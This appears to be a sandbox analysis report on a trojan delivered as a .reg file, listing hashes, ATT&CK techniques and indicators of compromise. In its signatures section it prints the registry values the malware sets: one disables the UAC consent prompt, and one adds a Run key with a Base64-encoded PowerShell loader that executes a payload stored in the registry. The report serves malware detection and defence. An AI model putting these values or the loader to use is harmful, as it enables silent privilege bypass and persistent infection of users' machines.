458d41071d5eb38b3ea89eec4fea6845d2a18a7253e62f2c639257f9b7ee79ec | Triage

Analysis

max time kernel
92s
max time network
93s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
05-08-2024 10:08

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General

Target

Semtrade GmbH 1844.reg
Size

2KB
MD5

94e4707ce189e14c226f1a5704ba5dc1
SHA1

255ce79e10dffa72a9974799577021a1aac021bb
SHA256

458d41071d5eb38b3ea89eec4fea6845d2a18a7253e62f2c639257f9b7ee79ec
SHA512

476a99ede08c1dc76ba01355cf87f6963f185711d99cec66463fc1b6fe4298e58dfc8481351dee34e386d835dc02d8a3be81f8c16118ed65d995ff0463a2401d

Score

10^/10

evasion persistence trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

Bypass User Account Control

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	regedit.exe

Adds Run key to start application 2 TTPs 1 IoCs

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\JdrURmeltLSPPenXVbW = "powershell -encodedCommand \"JgAgAHsAJABkACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABpACIAKQAuAFIAbgBSADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAGQAfQA=\""	regedit.exe

Runs .reg file with regedit 1 IoCs

pid	Process
5104	regedit.exe

C:\Windows\regedit.exe
regedit.exe "C:\Users\Admin\AppData\Local\Temp\Semtrade GmbH 1844.reg"
1⤵
- UAC bypass
- Adds Run key to start application
- Runs .reg file with regedit
PID:5104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

Registry Run Keys / Startup Folder

Privilege Escalation

Abuse Elevation Control Mechanism

Bypass User Account Control

Boot or Logon Autostart Execution

Registry Run Keys / Startup Folder

Defense Evasion

Abuse Elevation Control Mechanism

Bypass User Account Control

Impair Defenses

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads